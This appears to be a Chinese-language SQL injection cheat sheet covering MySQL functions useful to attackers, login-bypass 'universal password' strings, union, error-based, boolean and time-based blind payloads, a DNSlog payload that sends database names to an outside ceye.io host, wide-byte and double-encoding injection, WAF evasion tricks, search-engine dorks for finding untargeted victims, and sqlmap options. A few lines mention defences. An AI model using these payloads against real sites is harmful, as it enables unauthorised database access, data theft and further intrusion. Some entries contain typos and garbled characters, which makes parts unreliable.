1. greates(n1,n2,n3,...): 返回n中的最大值
?id=1'and greates(ascii(substr((select database()),1,1)),114)=115--+2. least(n1,n2,n3,...): 返回n中的最小值
3. strcmp(str1,str2): 若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个参数,则返回-1,其他情况返回1
4. in 关键字,str1 in str2 字符串1是否在字符串2中
http 参数 污染 绕过
函数检查的时候只检查第一个参数,但是$id=$_GET['id']取的是最后一个id,所以我们只需要把payload放在后面的id就好。
?id=1&id=-2%27 union select 1,group_concat(column_name),3 from%20information_schema.columns where table_schema=database() and table_name='users'--+(sqli-labs29关)
SQL 注入 防御
1. 采用预编译
2. 采用正则表达式过滤转义输入的参数
sql 注入 常用函数
关键字:SQL 注入 函数
SQL注入教程:https://zhuanlan.zhihu.com/p/320579411
sql 注入常见函数(附图详解):sql注入常见函数(附图详解)_sql注入常用函数分类-CSDN博客
常见万能密码
"or "a"="a
')or('a'='a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 1=1
'OR 1=1%00
一些常用函数
1, 作用:返回当前登录mysql数据库的用户
user(); system_user(); current_user(); session_user();
mysql用法:select user();2,作用:查看当前数据库的版本
version();
用法:select version();3,作用:查看当前使用的库名
database();
用法:select database();4,作用:返回数据库的存储目录
@@datadir;
用法:select @@datadir;5,作用:查看服务器操作系统
@@version_compile_os;
用法:select @@version_compile_os;6,作用:链接两个字符串并传入数据库(多列转换成一列显示)
concat(str1,"分隔符",str2)
实例:select concat(name,"`",sex) from table_name;7,作用:用分隔符链接,多个字段的字符串(多列转换成一列)
concat_ws("~",str1,str2);
用法:select concat_ws(字段名,字段名) from 表名;8,作用:将多行查询结果以逗号分隔全部输出(多行转换成一行显示)
group_concat(str1,str2)
用法:select group_concat(str1,str2) from table_name;
实列:select group_concat(字段名,字段名) from 表名;9,作用:从一个字符串中截取指定数量的字符
mid(); | substr(); | substring();
在mysql数据库中,可以和前面的concat concat_ws 结合使用
用法:select mid(column_name,start,length)
colunm_name:字段名
start:起始位置以数字表示(1)
length:截取的长度
实列:select mid(group_concat(neme,sex),1,5)from 表名;10,作用:从某个值开始,取出之后的N条数据的语法 (返回结果中的前几条数据或者中间的数据)
limit() 函数
用法:select * from 表名 limit M,N
m是:指从m位开始(第一位为0)
n是:指取n条
11,字符串处理
substr(),substring(),mid():用法基本相同,截取字符串的一部分
语句:select substr(database(),1,3);
解释:截取database()返回的结果,从第一个自负开始截取三个
说明:substr(a,b,c);截取字符串
a 所要截取字符串
b 截取的位置
c 截取的长度
substr使用范围:oracle、mysql、sqlserver
substring使用范围:mysql、sqlserver
mid使用范围:mysql12,进行16进制编码
hex();
select hex('dvwa') //编码
select unhex('64767761') //解码
select 0x64767761 //16进制解码13,条件判断语句
关键字:if
if(arg1,arg2,arg3)
arg1为判断的条件,arg2是条件为真时返回的结果,arg3是条件为假时返回的结果
语句:select if(1=1, 'true', 'false‘) 返回结果:true
case when arg1 then arg2 else arg3 end
arg1为判断的条件,arg2是条件为真的返回结果,arg3是条件为假的返回结果
语句:SELECT 1,case when 1=1 then 'hello' else 'goodbye' end,3 --+
length(arg) :返回目标字符串的长度,注意:arg字符串。
语句:select length(database());//返回当前数据库名字的长度14,加密解密方式
ascii(arg)/ord(arg) :返回目标字符对应的ASCII码,注意:arg为单个字符。
语句:select ascii(‘a’) //返回结果:97
char(arg):返回ASCII码只对应的字符
语句:select char(97) //返回结果为a
hex():将目标字符串装换成16进制格式的数据
语句: select hex(“dvwa”) //返回结果: 64767761
unhex():将16进制格式的数据装换成原字符串
语句:unhex(64767761) //返回结果:dvwa
sql 注入基本流程
判断是否有注入点
获取数据库基本信息
获取数据库库名
获取数据库表名
获取数据库列名
获取用户信息
破解数据
提升权限
内网渗透
1. mysql 注入 常用 函数
1、system_user()系统用户名
2、user()用户名
3、current_user()当前用户名
4、session_user()链接数据库的用户名
5、database()数据库名
6、version()数据库版本
7、@@datadir数据库路径
8、@@basedir数据库安装路径
9、@@version_conpile_os操作系统
10、count()返回执行结果数量
11、concat()没有分隔符的链接字符串
12、concat_ws()含有分隔符的连接字符串
13、group_concat()连接一个组的所有字符串,并以逗号分隔每一条数据
14、load_file()读取本地文件
15、into outfile 写文件
16、ascii()字符串的ASCII代码值
17、ord()返回字符串第一个字符的ASCII值
18、mid()返回一个字符串的一部分
19、substr()返回一个字符串的一部分
20、length()返回字符串的长度
21、left()返回字符串最左面几个字符
22、floor()返回小于或等于x的最大整数
23、rand()返回0和1之间的一个随机数
24、extractvalue()
- 第一个参数:XML_docment是String格式,为XML文档对象的名称,文中为Doc
- 第二个参数:XPath_string(Xpath格式的字符串)
- 作用:从目标XML中返回包含所查询值的字符串
25、updatexml()
- 第一个参数:XML_docment是String格式,为XML文档对象的名称,文中为Doc
- 第二个参数:Xpath_string(Xpath格式的字符串)
- 第三个参数:new_value,String格式,替换查找到的符合条件的数据target.com
- 作用:改变文档中符合条件的节点的值
26、sleep()让此语句运行N秒钟
27、if() SELECT IF(1>2,2,3) ; -->3
28、char()返回整数ASCII代码字符组成的字符串
29、strcmp()比较字符串内容
30、ifnull() 假如参数1不为NULL,则返回值为参数1,否则其返回值为参数2
31、exp()返回e的x次方
2. 目标 搜集
1、无特定目标:inurl:.php?id=
2、有特定目标:inurl:php?id= site:
3、工具爬取:spider,对搜索引擎和目标网站的链接进行爬取
3. 注入 识别
1、手工简单识别:
and 1=1/and 1=2
and '1'='1/and '1'='2
and 1like 1/and 1like 22、工具识别:
sqlmap -m filename(filename中保存检测目标)
sqlmap --crawl(sqlmap对目标网站进行爬取,然后一次进行测试)3、高级识别
扩展识别广度和深度:
sqlmap --level 增加测试级别,对 header 中相关参数也进行测试
sqlmap -r filename ( filename中为网站请求数据 )利用工具识别提高效率
BurpSuite + Sqlmap
BurpSuite 拦截所有浏览器访问提交的数据
BurpSuite 扩展插件,直接调用 Sqlmap 进行测试一些 Tips
可以在参数后键入"*" 来确定想要测试的参数
可能出现的点:新闻、登录、搜索、留言
站在开发的角度去寻找
4. 报错 注入 方法
1、floor() :select count(*) from information_schema.tables group by concat((select
2、version()),floor(rand(0)*2));https://github.com/ADOOO/Dnslogsqlinj
3、group by会对rand()函数进行操作时产生错误
4、concat:连接字符串功能
5、floor:取float的整数值
6、rand:取0~1之间随机浮点值
7、group by:根据一个或多个列对结果集进行分组并有排序功能
8、extractvalue():extractvalue(1,concat(0x7e,(select user()),0x7e));
9、updatexml():select updatexml(1,concat(0x7e,(select user()),0x7e),1);
5. 布尔 盲注
1、left()函数
left(database(),1)>'s'
database()显示数据库名称,leȨ(a,b)从左侧截取a的前b位
2、regexp
select user() regexp'^r'
正则表达式的用法user()结果为root,regexp为匹配root的正则表达式
3、like
select user() like'^ro%'
与regexp类似,使用like进行匹配
4、substr()函数 ascii()函数
substr()函数 ascii(substr((select database()),1,1))<>98
substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii值
5、ord()函数 mid()函数
ord(mid((select user()),1,1))=114
mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转为ascii值
6. 时间 盲注
if(left(user(),1)='a',0,sleep(3));
7. DNSlog 注入
SELECT LOAD_FILE(CONCAT('\\\\',select database(),'.mysql.r4ourp.ceye.io\\abc'));
8. 宽字节 注入
1、在注入点后键入%df,然后按照正常的诸如流程开始注入
2、黑盒测试:在可能的注入点后键入%df,之后进行注入测试
3、白盒测试:
查看MySql编码是否为GBK
是否使用preg_replace把单引号替换成\'
是否使用addslashes进行转义
是否使用mysql_real_escape_string进行转义4、防止宽字节注入
使用utf-8,避免宽字节注入
ps:不仅在gbk,韩文、日文等等都是宽字节,都很有可能存在宽字节注入漏洞
mysql_real_escape_string,mysql_set_charset('gbk',$conn);
设置参数,character_set_client=binary
9. 二次 编码
1、在注入点后键入%2527,然后按照正常的注入流程开始注入
2、黑盒测试:在可能的注入点后键入%2527,之后进行注入测试
3、白盒测试:是否使用urldecode函数。urldecode函数是否存在转义方法之后
10. 二次 注入
1、插入恶意数据。第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,再写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
2、引用恶意数据。在将数据存入到数据库之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了而已数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
3、二次注入防御:对外部提交的数据,需要更加谨慎的对待。程序内部的数据调用,也要严格的进行检查,一旦不小心,测试者就能将特定了SQL语句带入到查询当中。
11. WAF 绕过
熟练掌握 MySQL 函数和语法使用方法 + 深入了解中间件运行处理机制 + 了解WAF防护原理及方法 = 随心所欲的绕过WAF的保护
1、白盒绕过
使用了blacklist函数过滤了'or'和'AND'
大小写变形:Or,OR,oR
等价替换:and->&&,or->||2、黑盒绕过
寻找源站->针对云WAF
利用同网段->绕过WAF防护区域
利用边界漏洞->绕过WAF防护区域
资源限制角度绕过WAF
POST大BODY
请求方式变换GET->POST
Content-Type变换:application/x-www-form-urlencoded;->multipart/form-data;
参数污染
SQL注释符绕过
Level-1:union/**/select
Level-2:union/*aaaa%01bbs*/select
Level-3:union/*aaaaaaaaaaaaaaaaaaaaaaa*/select
内联注释:/*!xxx*/
空白符绕过
MySQL空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*XXX*/
正则的空白符:%09,%0A,%0B,%0D,%20
Example-1:union%250Cselect
Example-2:union%25A0select
concat%2520(
concat/**/(
concat%250c(http://127.0.0.1/Less/?id=1
concat%25a0(
浮点数词法解析
select * from users where id=8E0union select 1,2,3
select * from users where id=8.0union select 1,2,3
select * from users where id=\Nunion select 1,2,3
extractvalue(1.concat(0x5c,md5(3)));
updatexml(1,concat(0x5d,md5(3))),1);
GeometryCollection((select*from(select@@version)f)x))
polygon((select*from(select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygon()
MySQL特殊语法
select{x table_name}from{x information_schema.tables};3、Fuzz 绕过
注释符绕过
最基本的:union/**/select
中间引入特殊字:union/*aaa%0abbs*/select
最后测试注释长度:union/*aaaaaaaaaaaaaaa*/select
最基本的模式:union/*something*/select
a1%!%2f
12. sqlmap 的 conf
sqlmap.py -v3 ( 主函数入口 )
- --user-agent=websecurity(请求扩充)
- --threads=5(访问优化)
- -p id注入配置
- --level 3(检测配置)
- --technique=E(注入技术)
- --current-user(信息获取)
- --flush-session(通用设置)
- --beep(杂项)